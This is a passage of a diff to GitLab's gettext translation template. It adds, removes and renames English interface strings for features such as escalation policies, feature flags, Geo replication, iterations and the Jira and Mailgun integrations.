msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
